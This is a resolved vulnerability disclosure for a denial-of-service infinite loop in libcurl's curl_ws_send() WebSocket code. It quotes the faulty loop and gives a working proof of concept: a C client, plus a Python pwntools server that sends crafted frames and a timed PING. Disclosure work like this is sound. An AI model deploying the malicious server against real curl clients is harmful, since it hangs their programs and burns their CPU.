CVE-2025-5399: WebSocket endless loop
Low
C
curl
Submitted None
Actions:
Reported by
z2_
Vulnerability Details
Technical details and impact analysis
The function `curl_ws_send()` in libcurl on commit [12d13b84fa40aa657b83d5458944dbd9b978fb7e](https://github.com/curl/curl/blob/12d13b84fa40aa657b83d5458944dbd9b978fb7e/lib/ws.c) contains an infinite loop that can be triggered by a malicious server under specific circumstances.
If an application uses `curl_ws_recv()` and `curl_ws_send()` to communicate with a websocket server, a malicious server can send a carefully timed PING message while the client is constructing a frame via `CURLWS_OFFSET` that leads to the next `curl_ws_send()` invocation not terminating a loop that flushes data.
The affected code is in file `lib/ws.c` in function `curl_ws_send()` on [lines 1376 - 1419](https://github.com/curl/curl/blob/12d13b84fa40aa657b83d5458944dbd9b978fb7e/lib/ws.c#L1376):
```c
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
// ...
result = ws_flush(data, ws, Curl_is_in_callback(data));
if(!result) {
*sent += ws->sendbuf_payload;
buffer += ws->sendbuf_payload;
buflen -= ws->sendbuf_payload;
ws->sendbuf_payload = 0;
}
// ...
}
```
`buflen` is coming from the application and is the length of data to be sent. If the loop starts with `ws->sendbuf_payload == 0`, then
`buflen > ws->sendbuf_payload` is always true. After a successful `ws_flush()`, `sent`, `buffer` and `buflen` remain unmodified and the loop
runs forever.
## PoC
Consider the following client that repeatedly sends and receives messages:
```c
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>
int main (int argc, char** argv) {
char buffer[512];
size_t sent;
size_t n;
const struct curl_ws_frame* meta;
CURLcode res;
CURL* curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:1337/");
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
curl_easy_perform(curl);
curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);
curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);
curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);
// The next curl_ws_recv() will receive a 16-byte PING message and
// auto-respond with PONG
res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
assert(res == CURLE_AGAIN);
// Restart I/O. The next call to curl_ws_send() will never return
curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);
// never reached:
assert(0);
}
```
And consider the following server that serves malicious packets:
```py
#!/usr/bin/env python3
import time
import base64
import hashlib
from pwn import *
packets = [
b'\x01~\x00\x0cHello World!',
b'\x89F\x9a',
b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y",
b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
b'\x01~\x00\x0cHello World!',
b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]
def sha1(data):
h = hashlib.new("sha1")
h.update(data)
return h.digest()
with listen(1337) as conn:
conn.wait_for_connection()
key = None
while True:
line = conn.recvline()
if line.startswith(b"Sec-WebSocket-Key: "):
_, enc = line.split(b" ")
key = enc.strip()
elif line == b"\r\n":
break
key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
conn.sendline(b"Upgrade: websocket\r")
conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
conn.sendline(b"Sec-WebSocket-Version: 13\r")
conn.sendline(b"\r")
for packet in packets:
conn.send(packet)
```
When the server is launched in the background with
```
$ python3 server.py &
```
And the client is run with
```
$ ./client
```
it can be seen that `./client` takes up 100% CPU usage and never terminates.
## Explanation
I still don't 100% understand the websocket code and why it comes to this bug but here is a rough overview
what happens:
- The client tries building a 70-byte frame over the course of 3 `curl_ws_send()` invocations
- The first two invocations supply 1 + 53 = 54 bytes
- Then a PING arrives with 16 bytes of content
- Upon serving the final 16-bytes from the application, the loop occurs
If the auto-pong feature is deactivated via
```c
curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);
```
the infinite loop no longer occurs. The root-cause seems to be in the handling
of the PING message.
## Impact
Since this bug
- can be triggered by a remote server
- makes programs halt their execution and consumes 100% CPU over an indefinite amount of time
- only occurs when the client behaves in a very specific way
I suggest severity "Low".
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Loop with Unreachable Exit Condition ('Infinite Loop')